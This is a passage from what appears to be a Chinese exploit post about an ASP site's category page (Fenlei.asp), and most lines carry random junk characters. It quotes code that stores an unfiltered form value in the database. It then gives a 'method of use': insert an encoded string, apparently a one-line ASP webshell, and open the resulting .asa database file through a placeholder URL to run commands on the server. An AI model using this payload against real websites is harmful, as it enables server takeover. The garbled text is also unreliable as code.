'Fenlei.asp
6 f: q/ b; _% z9 ]- E) c. p
L8 i; V2 z. l M* R9 {, ~) @* vIF Request.QueryString("Action")="del" Then & P- A6 l* }# o4 \
ID=Request.QueryString("ID")
% b% `& }' d2 d& u0 M& y4 |" q6 oIF Countss ("tui","Fenlei",ID )<>0 then
9 X0 I/ k; P* O2 E. D2 G. ^' T'略 2 n0 c+ v: ^0 n& Q; x! s
IF Request.QueryString("Action")="Add" Then
, I5 Q- O! Q1 E0 G9 R+ M. jTname=Request.Form("Typename")
1 n/ h" L0 H8 o) D3 q1 k* r3 uSet Rs=Server.CreateObject("adodb.Recordset") ( W0 p2 D* X* e1 H" X( l/ C5 z
Sql="Select * From Fenlei Order by id Desc " * H2 `% G7 B& v# C2 @
Rs.Open Sql,Conn,1,3
6 r8 b7 U" A+ M H0 sRs.Addnew 1 A5 c. k m8 M) Y$ n) P0 f3 R
Rs("Typename")=Tname 5 }: _) h% W" N) S ?# V
'略 1 x% G3 [+ x* @1 }( i" v7 N
Set Rs=Server.CreateObject("adodb.Recordset")
' x( e# B1 M+ V* g1 FSql="Select * From Fenlei Order by id Desc " 1 T$ k& C" W- C( [, |9 C/ D z
Rs.Open Sql,Conn,1,1 6 |* g+ l1 [/ ]8 P
'略 7 q9 a5 J3 f: p& T
%> m; W \. X. @
. Y8 h( [ k- [# }
4 P' D2 b# O1 j$ Z2 J% o
0 |, Y0 X; E# I, W( B2 D* C/ ~8 G没有过滤,直接写入数据库。
i6 R. I, g- ~: K0 M) G" R
Q- }+ c& ]# y0 f利用方法:
3 E& O t6 \0 a/ Q: E- ?5 b- B + h; F# K( j5 y/ W7 k: U. X
插入:┼攠數畣整爠煥敵瑳∨≡┩>
6 W4 P+ b/ M1 M
( g* \% d. q, K# Y( F2 e9 ] & y( u$ e" @7 ^& L( m% P8 U
连接: http://www.xxx.com/###tongbaner.asa + t, U% X; B' G. u
'默认安装文件: & M( Q' T% k9 E
'install.asp
6 s$ `3 G, O( y/ |: K0 H, D+ ^ |